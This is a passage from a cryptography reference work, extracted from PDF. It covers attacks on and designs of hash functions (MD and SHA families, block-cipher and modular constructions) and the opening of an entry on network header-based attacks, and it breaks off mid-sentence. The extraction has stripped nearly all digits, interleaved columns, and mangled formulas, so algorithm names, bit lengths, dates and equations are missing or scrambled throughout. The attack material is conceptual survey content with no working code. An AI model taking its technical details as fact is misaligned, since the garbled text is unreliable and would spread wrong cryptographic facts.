the number of pairs of people in such a group equals ing all blocks of the message except for one or more blocks.
/ = . This can be exploited to find collisions This attack often applies to the last block and is then called
Hash Functions H
a correcting-last-block attack, but it can also apply to the function and the signature scheme have some multiplica-
first block or to some blocks in the middle. For a collision tive structure (Coppersmiths attack on X. Annex D
attack, one chooses two arbitrary messages X and X with [], Correcting Block Attack).
X X; subsequently one searches for one or more cor- A more subtle point is that problems can arise if the
recting blocks denoted with Y and Y , such that h(X hash function and the digital signature scheme are not cou-
Y ) = h(X Y). A similar approach is taken for a (sec- pled. For example, given h(X), with h a strong CRHF, one
ond) preimage attack. Hash functions based on algebraic could try to find a value X such that h (X ) = h(X), where
structures are particularly vulnerable to this attack. Refer h is a weak hash function, and then claim that the signer
Correcting-Block Attack for more details. has signed X with h instead of X with h. This problem
can be addressed to some extent by signing together with
Fixed Point Attack. A fixed point for a compression f is the hash result a unique hash identifier (e.g., as defined in
a pair (Hi , Xi ) that satisfies f (Xi , Hi ) = Hi . If the []). However, Kaliski has pointed out that this approach
chaining variable is equal to Hi , one can insert an arbi- has some limitations []. A simpler approach is to allow
trary number of blocks equal to Xi without modifying the only one hash function for a given signature scheme (DSA
hash result. Producing collisions or a second preimage with [] and SHA- []).
this attack is only possible if the chaining variable can be
made equal to Hi : This is the case if IV can be chosen An Overview of Practical Hash Functions: This section
equal to a specific value, or if a large number of fixed points presents three types of hash functions: custom designed H
can be constructed (e.g., if one can find an Xi for a sig- hash functions, hash functions based on a block cipher,
nificant fraction of Hi s). This attack can be made more and hash functions based on algebraic structures (modular
difficult by appending a block count or bit count and by arithmetic, knapsack, and lattice problems). It is important
fixing IV (MD-strengthening, refer section Iterated Hash to be aware of the fact that many proposals have been bro-
Functions). ken; due to space limitations, it is not possible to include
all proposals found in the literature and the attacks on
Attacks Dependent on the Internal them. For a more detailed discussion, the reader is referred
Details of the Compression Function to [].
Most cryptanalytical techniques that have been applied to
block ciphers have a counterpart for hash functions. As Custom Designed Hash Functions
an example, differential cryptanalysis has been shown to This section discusses a selection of custom designed
be a very effective attack tool on hash functions []. Differ- hash functions, i.e., algorithms that have been designed
ential attacks of hash functions based on block ciphers have for hashing operations. Most of these algorithms use the
been studied in [, ]. Special cryptanalytic techniques DaviesMeyer approach (cf. section Hash Functions . . .
have been invented by Dobbertin to cryptanalyze MD, Cipher): The compression function is a block cipher, keyed
MD, and the RIPEMD family [, ]. For hash func- by the text input Xi ; the plaintext is the value Hi , which
tions based on block ciphers, weaknesses of block ciphers is also added to the ciphertext (feedforward).
that may not be a problem for confidentiality protection MD [] is a hash function with a -bit result that
can be problematic for hashing applications. For example, was published by Rivest in . The algorithm is software
one needs to take into account the complementation prop- oriented, but due to the byte structure it is not very fast on
erty and fixed points [] of DES, as well as the existence -bit machines. It inserts at the end a checksum byte (a
of weak keys (refer also the weak hash keys defined by weak hash function) of all the inputs. Rogier and Chauvaud
Knudsen []). have found collisions for a variant of MD, that omits the
checksum byte at the end [].
Attacks Dependent on the Interaction A much faster algorithm by the same designer is
with the Signature Scheme MD []; it also dates back to and has a -bit
Signature schemes can be made more efficient and secure result. It is defined for messages of shorter than bits.
by compressing the information to be signed with a hash An important contribution of MD is that it has intro-
function and to sign the hash result. Even if the hash func- duced innovative design principles; it was the first pub-
tion is collision resistant, it might be possible to break the lished cryptographic algorithm that made optimal use of
resulting signature scheme. This attack is then the con- logic operations and integer arithmetic on -bit proces-
sequence of an interaction between both schemes. In the sors. The compression function hashes a -bit chaining
known examples of such an interaction, both the hash variable and a -bit message block to a -bit chaining
H Hash Functions
variable. The algorithms derived from it (with improved Yet another improved version of MD, called RIPEMD,
strength) are often called the MDx-family. This family con- was developed in the framework of the EEC-RACE project
tains the most popular hash functions used today. Dob- RIPE []. RIPEMD has two independent paths with
bertin has found collisions for MD; his attack combines strong interaction at the end of the compression function.
algebraic techniques and optimization techniques such as It resulted later in the RIPEMD family. Due to par-
genetic algorithms [, ]. It can be extended to result tial attacks by Dobbertin [], RIPEMD was upgraded by
in meaningful collisions: The complete message (except Dobbertin et al. to RIPEMD- and RIPEMD-, which
for a few dozen bytes) is under complete control of the have a -bit and a -bit result, respectively []. Vari-
attacker. His attack also applies to the compression func- ants with a - and -bit result have been introduced
tion of extended MD [], which consists of two loosely as well.
coupled instances of MD. Later Dobbertin et al. showed Whirlpool is a design by Barreto and V. Rijmen [];
that a reduced version of MD ( rounds out of ) is not it consists of a -bit block cipher with a -bit key in
preimage resistant []. the MiyaguchiPreneel mode (refer section Hash Func-
Following early attacks on MD by den Boer and tions . . . Cipher); it offers a result of bits. The design
Bosselaers [] and by Merkle, Rivest quickly proposed a principles of Whirlpool are closely related to those of
strengthened version, namely MD []. It was however Rijndael/AES.
shown by den Boer and Bosselaers [] that the com- Together with SHA-, SHA-, and SHA-,
pression function of MD is not collision resistant (but Whirlpool has been recommended by the NESSIE
their collisions are of the special form f (Hi , Xi ) = project. The ISO standard on design hash functions

f (Hi , Xi ), which implies they have no direct impact on (ISO/IEC -) contains RIPEMD-, RIPEMD-,
applications). Dobbertin has extended his attack on MD SHA-, SHA-, SHA-, SHA-, and Whirlpool [].
to yield collisions for the compression function of MD, Other custom designed hash functions include FFT-Hash
i.e., f (Hi , Xi ) = f (Hi , Xi ), where he has some control III [], N-hash [], Snefru [], Subhash [], and
over Hi []. It is believed that it is feasible to extend this Tiger [].
attack to collisions for MD itself (i.e., to take into account
the IV). Hash Functions Based on a Block Cipher
HAVAL was proposed by Zheng et al. at Auscrypt Hash functions based on a block cipher have been popu-
[]; it consists of several variants (outputs length between lar as this construction limits the number of cryptographic
and bits and , , or rounds). The -round version algorithms which need to be evaluated and implemented.
was broken by Van Rompay et al. [] for all output lengths. The historic importance of DES, which was the first stan-
NIST has published a series of variants on MD as FIPS dard commercial cryptographic primitive that was widely
standards under the name Secure Hash Algorithm fam- available, also plays a role. The main disadvantage of this
ily or SHA family. The first Secure Hash Algorithm was approach is that custom designed hash functions are likely
published by NIST [] in (it is now referred to as to be more efficient. This is particularly true because hash
SHA-). The size of the hash result is bits. In , NIST functions based on block ciphers require a key change after
discovered a certificational weakness in SHA-, which every encryption.
resulted in a new release of the standard published under The encryption operation E will be written as Y =
the name SHA- []. In , Chabaud and Joux have pub- EK (X). Here X denotes the plaintext, Y the ciphertext, and
lished an attack that finds collisions for SHA- in oper- K the key. The size of the plaintext and ciphertext or the
ations []; it is probably similar to the (classified) attack block length (in bits) will be denoted with r, while the key
developed earlier that prompted the upgrade to SHA-. In size (in bits) will be denoted with k. For DES, r = and
, three new hash functions have been published with k = . The hash rate of a hash function based on a block
longer hash results: SHA-, SHA-, and SHA- []. cipher is defined as the number of r-bit input blocks that
In December , SHA- has been added in a change can be processed with a single encryption.
notice to []. SHA- and SHA- have eight -bit The discussion in this section will be limited to the case
chaining variables, and their compression function takes k r. For k r, a distinction will be made between the
message blocks of bits and chaining variables of cases n = r, n = r, and n > r. Next the case k r
bits. SHA- and SHA- operate on -bit words; their will be discussed. A more extensive treatment can be found
compression function processes messages in blocks of in [].
bits and chaining variables of bits. They are defined for Size of Hash Result Equal to the Block Length. All
messages shorter than bits. known schemes of this type have rate . The first secure
Hash Functions H
construction for such a hash function was the scheme the condition u(IV ) v(IV ). For k = r, the best known
by Matyas et al. []: preimage and collision attacks on MDC- require r/
and r operations, respectively []. A collision attack on
Hi = E
s(H i ) (Xi ). MDC- based on the Data Encryption Standard (DES)
Here s() is a mapping from the ciphertext space to the key (r = , k = ) requires at most encryptions. Note
space and E K (X) denotes EK (X)X. This scheme has been
that the compression function of MDC- is rather weak,
included in ISO/IEC []. The dual of this scheme hence Theorems and cannot be applied: Preimage and
is the DaviesMeyer scheme: collision attacks on the compression function require at
most r and r/ operations. MDC- has been included in
Hi = E
Xi (Hi ). () ISO/IEC - [].
One iteration of MDC- consists of the concate-
It has the advantage that it extends more easily to block
nation of two MDC- steps, where the plaintexts in the
ciphers for which key size and block size are different. A
second step are equal to Hi and Hi . The rate of MDC-
variant on these schemes was proposed in indepen-
is equal to /. For k = r, the best known preimage
dently by Miyaguchi et al. [, ] and Preneel et al. []
attack for MDC- requires r/ operations. This shows
(it is known as the MiyaguchiPreneel scheme):
that MDC- is probably more secure than MDC- against

Hi = Es(Hi ) (Xi ) Hi . preimage attacks. However, finding a collision for MDC-
itself requires only r+ encryptions, while finding a col-
H
In , Preneel et al. identify secure variants []; Black lision for its compression function requires r/ encryp-
et al. [] offer a concrete security proof for these schemes tions [, ]. The best known (second) preimage attack
in the black-box cipher model (after earlier work in []): on the compression function of MDC- requires r/
This implies that in this model, finding a collision requires encryptions.
r/ encryptions and finding a (second) preimage takes A series of proposals attempted to achieve rate with
r encryptions. This shows that these hash functions can constructions of the following form:
only be collision resistant if the block length is bits
or more. Most block ciphers have a smaller block length, Hi = EAi (Bi ) Ci
which motivates the constructions in the next section.
Hi = EAi (Bi ) Ci ,

Size of Hash Result Equal to Twice the Block Length. The

goal of double block length hash functions is to achieve a where Ai , Bi , and Ci are binary linear combinations of

higher security level against collision attacks. Ideally a col- Hi , Hi , Xi , and Xi and where Ai , Bi , and Ci are binary

lision attack on such a hash function should require r linear combinations of Hi , Hi , Xi , Xi , and Hi . The
encryptions, and a (second) preimage attack r encryp- hash result is equal to the concatenation of Ht and Ht .
tions. However, Knudsen et al. showed that for all hash functions
The few proposals that survive till today have rate less in this class, a preimage attack requires at most r opera-
than . Two important examples are MDC- and MDC- tions, and a collision attack requires at most r/ opera-
with hash rate / and /, respectively. They have been tions (for most schemes this can be reduced to r/ ) [].
designed by Brachtl et al. [], and are also known as the Merkle describes an interesting class of proposals in
MeyerSchilling hash functions after the authors of the [], for which he proves in the black-box cipher model
first paper described these schemes []. that the compression function is collision resistant. The
most efficient scheme has rate / and offers a security level
Ti = E
u(H )
(Xi ) = LT i RT i of encryptions when used with DES. Other results on
i
output length doubling have been obtained by Aiello and
Ti = E ) (X i )
v(H i
= LT i RT i Venkatesan [].
Hi = LT i RT i Size of Hash Result Larger than Twice the Block Length.

Knudsen and Preneel propose a collision resistant com-
Hi = LT i RT i . pression function, but with parallel encryptions only [].
They show how a class of efficient constructions for hash
The variables H and H are initialized with the values functions can be obtained based on non-binary error-
IV and IV respectively, and the hash result is equal to correcting codes. Their schemes can achieve a provable
the concatenation of Ht and Ht . The functions u, v map security level against collisions equal to r , r/ (or more)
the ciphertext space to the key space and need to satisfy and this with rates larger than / (based on a rather strong
H Hash Functions
assumption). The internal memory of the scheme is larger third approach by Bellare et al. [] uses the discrete log-
than two or three blocks, which implies that an output arithm problem in a group of prime order p denoted with
transformation is required. Two of their schemes have been Gp . Every nontrivial element of Gp is a generator. The hash
included in ISO/IEC - []. function uses t random elements i from Gp ( i ). The
Size of the Key Equal to Twice the Block Length. In this case, hash result is then computed as
making efficient constructions is a little easier. A scheme in t
this class was proposed by Merkle [], who observed that Ht+ = iXi .
a block cipher with key length larger than block length is a i=
natural compression function: Here Xi is obtained by considering the string Xi as the

binary expansion of a number and prepending to it. This
Hi = EHi Xi (C),
avoids trivial collisions when Xi consists of all zeros.
with C a constant string. Another construction can be There exists a large number of ad hoc schemes for
found in []. which there is no security reduction; many of these
Two double length hash functions with rate / have have been broken. The most efficient schemes are based
been proposed by Lai and Massey []; they form exten- on modular squaring. The best schemes seem to be of
sions of the DaviesMeyer scheme. One scheme is called the form:
Tandem DaviesMeyer, and has the following description:
Hi = ((Xi Hi ) mod N) Hi .
Hi = E
H Xi

(Hi ) In order to preclude a correcting block attack, it is essen-
i
Hi = E
Xi (H i H i

) (H i )
tial to add redundancy to the message blocks Xi and to
perform some additional operations. Two constructions,
The second scheme is called Abreast DaviesMeyer: MASH- and MASH- (for Modular Arithmetic Secure
Hash) have been standardized in ISO/IEC - [].
Hi = E
H Xi

(Hi ) MASH- has the following compression function:
i

Hi = EXi H (Hi ) . Hi = (((Xi Hi ) A) (modN)) Hi ,
i
Here H denotes the bitwise complement of H. The best Here A = 0xF00. . .00, the four most significant bits in
known attacks for a preimage and a collision require r every byte of Xi are set to 1111, and the output of the
and r encryptions, respectively. Faster schemes in this squaring operation is chopped to n bits. A complex out-
class have been developed in []. put transformation is added, which consists of a number
of applications of the compression function; its goal is to
Hash Functions Based on Algebraic destroy all the remaining mathematical structure. The final
Structures result is at most n/ bits. The best known preimage and
It should be pointed out that several of these hash func- collision attacks on MASH- require n/ and n/ opera-
tions are vulnerable to the insertion of trapdoors, which tions []; they are thus not better than brute force attacks.
allow the person who chooses the design parameters to MASH- is a variant of MASH- which uses exponent +
construct collisions. Therefore, one needs to be careful with []. This provides for an additional security margin.
the generation of the instance. For an RSA public key
Hash Functions Based on Knapsack and Lattice Prob-
encryption modulus, one could use a distributed genera-
lems. The knapsack problem (Knapsack Cryptographic
tion as developed by Boneh and Franklin [] and Frankel
Schemes) of dimensions n and (n) can be defined as fol-
et al. [].
lows: given a set of n l-bit integers {a , a , . . ., an }, and an
Hash Functions Based on Modular Arithmetic. For several integer S, find a vector X with components xi equal to or
schemes, there exists a security reduction to a number the- such that
n
(n)
oretic problem that is believed to be difficult. However, ai xi = S mod .
they are very slow: Typically, they hash log log N bits per i=
modular squaring (or even per modular exponentiation). For application to hashing, one needs n > (n); knapsack
Damgrd provides two hash functions for which finding a problems become more difficult when n (n); however,
collision is provably equivalent to factoring an RSA mod- the performance of the hash function decreases with the
ulus []. Gibson proposes a construction based on the value n (n). The best known attacks are those based on
discrete logarithm problem modulo a composite []. A lattice reduction (LLL) [] and an algebraic technique
Hash Functions H
which becomes more effective if n (n) []. It remains Advances in cryptology CRYPTO. Lecture notes in com-
an open problem whether for practical instances a random puter science, vol . Springer, Berlin, pp
. Bellare M, Micciancio D () A new paradigm for collision-
knapsack is sufficiently hard.
free hashing: incrementality at reduced cost. In: Fumy W (ed)
Ajtai introduced a function that is one-way (or preim- Advances in cryptology EUROCRYPT. Lecture notes in
age resistant) if the problem of approximating the short- computer science, vol . Springer, Berlin, pp
est vector in a lattice to polynomial factors is hard []. . Biham E, Shamir A () Differential cryptanalysis of the data
Goldreich et al. have proved that the function is in fact col- encryption standard. Springer, Berlin
. Black J, Rogaway P, Shrimpton T () Black-box analysis of the
lision resistant []. Micciancio has proposed a CRHF for
block-cipher based hash function constructions from PGV. In:
which the security is based on the worst-case hardness of Yung M (ed) Advances in cryptology CRYPTO . Lecture
approximating the covering radius of a lattice []. notes in computer science, vol . Springer, Berlin, pp
Several multiplicative knapsacks have also been pro- . Boneh D, Franklin M () Efficient generation of shared RSA
posed, such as the schemes by Zmor [] and Tillich keys. In: Kaliski B (ed) Advances in cryptology CRYPTO.
and Zmor []. Their security is based on the hardness
pp
of finding short factorizations in certain groups. In some . Brachtl BO, Coppersmith D, Hyden MM, Matyas SM, Meyer
cases, one can even prove a lower bound on the Hamming CH, Oseas J, Pilpel S, Schilling M () Data authentication
distance between colliding messages. Attacks on these pro- using modification detection codes based on a public one way
posals (for certain parameters) can be found in [, ]. encryption function, U.S. Patent Number ,,, Mar
. Chabaud F, Joux A () Differential collisions: an expla- H
Incremental Hash Functions. A hash function (or any cryp- nation for SHA-. In: Krawczyk H (ed) Advances in cryptol-
tographic primitive) is called incremental if it has the fol- ogy CRYPTO. Lecture notes in computer science, vol .
lowing property: If the hash function has been evaluated
. Charnes C, Pieprzyk J () Attacking the SL hashing scheme.
for an input x, and a small modification is made to x, result- In: Pieprzyk J, Safavi-Naini R (eds) Advances in cryptogra-
ing in x , then one can update h(x) in time proportional to phy ASIACRYPT. Lecture notes in computer science, vol
the amount of modification between x and x , rather than . Springer, Berlin, pp
having to recompute h(x ) from scratch. If a function is . Coppersmith D () Another birthday attack. In: Williams
HC (ed) Advances in cryptology CRYPTO. Lecture notes
incremental, it is automatically parallelizable as well.
This concept was first introduced by Bellare et al. []. . Coppersmith D () Analysis of ISO/CCITT document X.
They also made a first proposal based on exponentiation Annex D. IBM T.J. Watson Center, Yorktown Heights, Internal
in a group of prime order. Improved constructions were Memo, June (also ISO/IEC JTC/SC/WG/N)
proposed by Bellare and Micciancio []. . Coppersmith D, Preneel B () Comments on MASH- and
MASH-. ISO/IEC JTC/SC/N. Accessed Feb
. Daemen J () Cipher and hash function design. Strategies
Recommended Reading based on linear and differential cryptanalysis. Doctoral disser-
. Aiello W, Venkatesan R () Foiling birthday attacks in tation, Katholieke Universiteit Leuven
length-doubling transformations. Benes: a non-reversible alter- . Damgrd IB () Collision free hash functions and public
native to Feistel. In: Maurer U (ed) Advances in cryptology key signature schemes. In: Chaum D, Price WL (eds) Advances
EUROCRYPT. Lecture notes in computer science, vol . in cryptology EUROCRYPT. Lecture notes in computer
Springer, Berlin, pp science, vol . Springer, Berlin, pp
. Ajtai M () Generating hard instances of lattice problems. . Damgrd IB () The application of claw free functions in
In: Proceedings of th ACM symposium on the theory of cryptography. Ph.D. thesis, Aarhus University, Mathematical
computing, Philadelphia, pp Institute
. Anderson R () The classification of hash functions. In: . Damgrd IB () A design principle for hash functions.
Farrell PG (ed) Codes and cyphers: cryptography and coding IV. In: Brassard G (ed) Advances in cryptology CRYPTO.
Institute of Mathematics & Its Applications (IMA), Southend- Lecture notes in computer science, vol . Springer, Berlin,
on-Sea, pp pp
. Anderson R, Biham E () Tiger: a new fast hash function. . Davies D, Price WL () The application of digital signatures
In: Gollmann D (ed) Fast software encryption. Lecture notes in based on public key cryptosystems. NPL Report, DNACS /,
computer science, vol . Springer, Berlin, pp Dec
. Anderson R, Biham E () Two practical and provably secure . den Boer B, Bosselaers A () An attack on the last two
block ciphers: BEAR and LION. In: Gollmann D (ed) Fast soft- rounds of MD. In: Feigenbaum J (ed) Advances in cryptol-
ware encryption. Lecture notes in computer science, vol . ogy CRYPTO. Lecture notes in computer science, vol .
. Barreto PSLM, Rijmen V () The Whirlpool hashing func- . den Boer B, Bosselaers A () Collisions for the compression
tion. NESSIE submission function of MD. In: Helleseth T (ed) Advances in cryptology
. Bellare M, Goldreich O, Goldwasser S () Incremental cryp- EUROCRYPT. Lecture notes in computer science, vol .
tography: the case of hashing and signing. In: Desmedt Y (ed) Springer, Berlin, pp
H Hash Functions
. Diffie W, Hellman ME () New directions in cryptography. . ISO-IEC/JTC/SC/WG N () Hash functions using a

IEEE T Info Theory IT-(): pseudo random algorithm. Japanese contribution
. Dobbertin H () RIPEMD with two-round compress func- . Joux A, Granboulan L () A practical attack against knapsack
tion is not collision-free. J Cryptol (): based hash functions. In: De Santis A (ed) Advances in cryptol-
. Dobbertin H () Cryptanalysis of MD. J Cryptol (): ogy EUROCRYPT. Lecture notes in computer science, vol
. See also Gollmann D (ed) () Fast software encryption. . Springer, Berlin, pp
Lecture notes in computer science, vol . Springer, Berlin, . Kaliski Jr BS () The MD message-digest algorithm. Request
pp for comments (RFC) , Internet Activities Board, Internet
. Dobbertin H () The status of MD after a recent attack. Privacy Task Force
CryptoBytes (): . Kaliski Jr BS () On hash function firewalls in signature
. Dobbertin H () The first two rounds of MD are not one- schemes. In: Preneel B (ed) Topics in cryptology CT-RSA .
way. In: Vaudenay S (ed) Fast software encryption. Lecture notes Lecture notes in computer science, vol . Springer, Berlin,
in computer science, vol . Springer, Berlin, pp pp
. Dobbertin H, Bosselaers A, Preneel B () RIPEMD-: a . Knudsen LR () New potentially weak keys for DES and
strengthened version of RIPEMD. In: Gollmann D (ed) Fast soft- LOKI. In: De Santis A (ed) Advances in cryptology EURO-
ware encryption. Lecture notes in computer science, vol . CRYPT. Lecture notes in computer science, vol . Springer,
Springer, Berlin, pp . See also http://www.esat.kuleuven. Berlin, pp
ac.be/~bosselae/ripemd . Knudsen LR., Lai X, Preneel B () Attacks on fast double
. FIPS () Secure hash standard. Federal information pro- block length hash functions. J Cryptol ():
cessing standard (FIPS), Publication . National Institute . Knudsen L, Preneel B () Enhancing the security of hash
of Standards and Technology, US Department of Commerce, functions using non-binary error correcting codes. IEEE T Info
Washington, DC, May Theory ():
. FIPS - () Secure hash standard. Federal informa- . Lai X, Massey JL () Hash functions based on block ciphers.
tion processing standard (FIPS), Publication . National In: Rueppel RA (ed) Advances in cryptology EUROCRYPT.
Institute of Standards and Technology, US Department of Com- Lecture notes in computer science, vol . Springer, Berlin,
merce, Washington, DC, Apr pp
. FIPS - () Secure hash standard. Federal informa- . Matyas SM, Meyer CH, Oseas J () Generating strong one-
tion processing standard (FIPS), Publication . National way functions with cryptographic algorithm. IBM Technol Discl
Institute of Standards and Technology, US Department of Com- Bull (A):
merce, Washington, DC, Aug (Change notice pub- . Merkle R () Secrecy, authentication, and public key systems.
lished on Dec) UMI Research Press, Ann Arbor
. FIPS () Digital signature standard. Federal information . Merkle R () One way hash functions and DES. In: Brassard
processing standard (FIPS), Publication . National Institute G (ed) Advances in cryptology CRYPTO. Lecture notes in
of Standards and Technology, US Department of Commerce, computer science, vol . Springer, Berlin, pp
Washington, DC, May . Merkle R () A fast software one-way hash function. J Cryp-
. Frankel Y, MacKenzie PD, Yung M () Robust efficient dis- tol ():
tributed RSA-key generation. In: Proceedings of th ACM . Meyer CH, Schilling M () Secure program load with manip-
symposium on the theory of computing, Dallas, pp ulation detection code. In: Proceedings of SECURICOM, Paris,
. Geiselmann W () A note on the hash function of Tillich and pp
Zmor. In: Boyd C (ed) Cryptography and Coding, fifth IMA . Micciancio D () Improved cryptographic hash functions
Conference. Springer, Berlin, pp with worst-case/average case connection. In: Proceedings of
. Gibson JK () Some comments on Damgrds hashing prin- th annual ACM symposium on theory of computing, Mon-
ciple. Electron Lett (): tral, pp
. Gibson JK () Discrete logarithm hash function that is colli- . Miyaguchi S, Iwata M, Ohta K () New -bit hash func-
sion free and one way. IEEE Proc (): tion. In: Proceeding of fourth international joint workshop on
. Girault M, Cohen R, Campana M () A generalized birthday computer communications, Tokyo, July , pp
attack. In: Gnther CG (ed) Advances in cryptology EURO- . Moore JH, Simmons GJ () Cycle structure of the DES
CRYPT. Lecture notes in computer science, vol . Springer, for keys having palindromic (or antipalindromic) sequences of
Berlin, pp round keys. IEEE T Softw Eng :
. Goldreich O, Goldwasser S, Halevi S () Collision-free hash- . Naor M, Yung M () Universal one-way hash func-
ing from lattice problems. Theory of Cryptography Library. tions and their cryptographic applications. In: Proceedings of
http://philby.ucsd.edu/cryptolib.html st ACM symposium on the theory of computing, Seattle,
. Handschuh H, Knudsen LR, Robshaw MJB () Analysis of pp
SHA- in encryption mode. In: Naccache D (ed) Topics in cryp- . Pal P, Sarkar P () PARSHA- a new parallelizable hash
tology CT-RSA . Lecture notes in computer science, vol function and a multithreaded implementation. In: Johansson
. Springer, Berlin, pp T (ed) Fast software encryption. Lecture notes in computer
. ISO/IEC () Information technology security tech- science, vol . Springer, Berlin, pp
niques hash-functions, Part : general, Part : hash-functions . Patarin J () Collisions and inversions for Damgrds whole
using an n-bit block cipher algorithm, () Part : dedicated hash function. In: Pieprzyk J, Safavi-Naini R (eds) Advances
hash-functions, () Part : hash-functions using modular in cryptography ASIACRYPT. Lecture notes in computer
arithmetic science, vol . Springer, Berlin, pp
Header-Based Attacks H
. Preneel B () Analysis and design of cryptographic . van Oorschot PC, Wiener M () Parallel collision search with
hash functions. Doctoral dissertation, Katholieke Universiteit cryptanalytic applications. J Cryptol ():
Leuven . Rompay V, Biryukov BA, Preneel B, Vandewalle J () Crypt-
. Preneel B, Govaerts R, Vandewalle J () Cryptographically analysis of -pass HAVAL. In: Lai CS (ed) Advances in cryptog-
secure hash functions: an overview. ESAT Internal Report, K.U. raphy ASIACRYPT . Lecture notes in computer science,
Leuven vol . Springer, Berlin, pp
. Preneel B, Govaerts R, Vandewalle J () Hash functions . Winternitz R () A secure one-way hash function built from
based on block ciphers: a synthetic approach. In: Stinson D DES. In: Proceedings of the IEEE symposium on information
(ed) Advances in cryptology CRYPTO. Lecture notes in security and privacy. IEEE Press, Los Alamitos, pp
computer science, vol . Springer, Berlin, pp . Yuval G () How to swindle Rabin. Cryptologia :
. Preneel B () Hash functions and MAC algorithms: state of
the art. In: Preneel B (ed) Lecture notes in computer science. . Zmor G () Hash functions and Cayley graphs. Design Code
Springer, Berlin, in print Cryptogr ():
. Quisquater J-J, Delescaille J-P () How easy is collision . Zheng Y, Matsumoto T, Imai H () Connections between
search? Application to DES. In: Quisquater J-J, Vandewalle J several versions of one-way hash functions. Trans IEICE E
(eds) Advances in cryptology EUROCRYPT. Lecture notes E():
in computer science, vol . Springer, Berlin, pp . Zheng Y, Pieprzyk J, Seberry J () HAVAL a one-way hash-
. Quisquater J-J, Delescaille J-P () How easy is collision ing algorithm with variable length output. In: Seberry J, Zheng
search. New results and applications to DES. In: Brassard G Y (eds) Advances in cryptology AUSCRYPT. Lecture notes
(ed) Advances in cryptology CRYPTO. Lecture notes in in computer science, vol . Springer, Berlin, pp
computer science, vol . Springer, Berlin, pp H
. Rabin MO () Digitalized signatures. In: Lipton R, DeMillo R
(eds) Foundations of secure computation. Academic, New York,
pp
. Rijmen V, Preneel B () Improved characteristics for differ- Hash-Based Message
ential cryptanalysis of hash functions based on block ciphers.
In: Preneel B (ed) Fast software encryption. Lecture notes in
Authentication Code
HMAC
. RIPE () Integrity primitives for secure information systems.
In: Bosselaers A, Preneel B (eds) Final report of RACE integrity
primitives evaluation (RIPE-RACE ). Lecture notes in com-
puter science, vol . Springer, Berlin
. Rivest RL () The MD message digest algorithm. In: Van- Header Injections
stone S (ed) Advances in cryptology CRYPTO. Lecture
Header-Based Attacks
. Rivest RL () The MD message-digest algorithm. Request
for comments (RFC) , Internet Activities Board, Internet
Privacy Task Force
. Rivest RL, Shamir A, Adleman L () A method for obtaining
digital signatures and public-key cryptosystems. Commun ACM Header-Based Attacks
:
. Rogaway P, Shrimpton T () Cryptographic hash function Serge Fenet
basics: definitions, implications, and separations for preimage
LIRIS UMR , Universit Claude Bernard Lyon ,
resistance, second-preimage resistance, and collision resistance.
In: Meier W, Roy BK (eds) Fast software encryption. Lecture Villeurbanne cedex, France
. Rogier N, Chauvaud P () MD is not secure without the
checksum byte. Design Code Cryptogr (), Synonyms
. Schnorr CP, Vaudenay S () Parallel FFT-hashing. In: Ander- Header injections
son R (ed) Fast software encryption. Lecture notes in computer
Denition
. Simon D () Finding collisions on a oneway street: can secure
hash functions be based on general assumptions? In: Nyberg K
Header-based attacks are a form of computer offensive in
(ed) Advances in cryptology EUROCRYPT. Lecture notes which the attacker uses its ability to forge arbitrary header
in computer science, vol . Springer, Berlin, pp data to exploit a flaw in the targets software that will pro-
. Stinson D () Some observations on the theory of crypto- cess this header. This flaw can reside in the code making
graphic hash functions. Technical Report /, University
the processing, but also, more dangerously, in the protocol
of Waterloo
. Tillich J-P, Zmor G () Hashing with SL . In: Desmedt Y
describing this processing.
(ed) Advances in cryptology CRYPTO. Lecture notes in Although this kind of attack can be used with any
computer science, vol . Springer, Berlin, pp level of the protocol stack, the term Header Attack
H Header-Based Attacks
is increasingly used to describe application-level attacks, (Transmission Control Protocol/Internet Protocol) stack
for example, HTTP (Hypertext Transfer Protocol) header of the operating system [], and to insert any chosen data
attacks. in the newly created SDIs. This process is called forg-
ing a PDU.
Background
The sole principle of exchanging data on an unreliable Theory
medium with remote computers imposes to solve prob- The principle of header attacks is quite simple: Knowing
lems that naturally emerge: interacting with low level com- how a given layer will handle the incoming PCI regarding
munication media, addressing remote computers, finding the protocol it implements, an attacker will alter the legit-
a route in the interconnection network, managing frag- imate data of this PCI, thus forging it, in order to induce a
mentation and virtual connections, etc. All these require- nonstandard behavior within the target system. This non-
ments are managed by different protocol layers, structured standard behavior can be linked to an implementation flaw,
in a stack, using the encapsulation principle: the N th proto- for example, in the case of the Christmas Tree attack, or to
col layer uses the services of the N th layer and provides a protocol flaw, like in the case of IP Spoofing or TCP con-
services to the N + th layer (see Fig. ). nection theft. Of course, nothing can prevent an attacker
In order to perform efficiently, each level of the stack to also forge the SDI part of the PDU, so that any data may
has a direct communication link with its remote interlocu- easily be sent on any given link.
tor. This mechanism is implemented by using a structured
Protocol Data Units (PDU) that encompasses the origi- Header Attacks Below the Application Layer
nal data that must be sent (the Data part, or Service Data The lower parts of the TCP/IP protocol stack (link, Inter-
Unit (SDI)), and the additional data required to implement net, and transport layers) are the implementation frame-
the protocol (the Header part, or Protocol Control Infor- work for computer network protocols described as soon
mation(PCI)). In the sender stack, the PDU of each level as the s. Few changes have been made to this part
becomes the SDI of the level below, which adds it own PCI, of the stack since these years and, indeed, all computers
creating a new PDU of its own level. This processing is using TCP/Ipv (Internet Protocol version ) nowadays
reversed in the receiver stack. rely doubtlessly on very efficient, yet old protocols. The
Thus, while the payload is actually sent in the SDI, the concerns of these older days, namely, end to end and
additional data required by the communication between robustness principles, ignored the security aspects that
distant layers travels along within the PCI, as associated have become most important nowadays. Thus, proper-
header. ties like confidentiality, authenticity, or non-repudiation
Header attacks are based on the ability to bypass have to be implemented by additional protocols like IPSec
the rules of SDI building programmed in the TCP/IP (Internet Protocol Security) or SSL (Secure Sockets Layer)
App. PCI App. SDI
Application
Application layer
data
UDP/ TCP UDP/ TCP

Transport layer
header data
IP IP
IP PDU Internet layer
header data
IP PCI IP SDI
Frame Frame Frame

Link layer
header data footer
Header-Based Attacks. Fig. The Internet protocol stack

Header-Based Attacks H
that are inserted at different levels of the initial stack. How- cookie theft, Server Side Includes tags insertion, HTML
ever, most of the general public computers rarely use these insertion, etc.
more secured protocols and are therefore vulnerable to SOAP is a protocol specification for exchanging
very simple header injection attacks (One should, however, generic structured information in the context of Web Ser-
notice that even recent security-oriented protocols may be vices. It relies on other application-level protocols like
prone to serious flaws []). RPC and HTTP to provide message transmission, and
The case of TCP Reset attack is very representative of is based on XML (eXtensible Markup Language) to for-
a header attack exploiting an important property of the mat its messages. SOAP messages carry information from
connected transport layer TCP. TCP is used when a vir- one Web Service to another. In this context, driven by
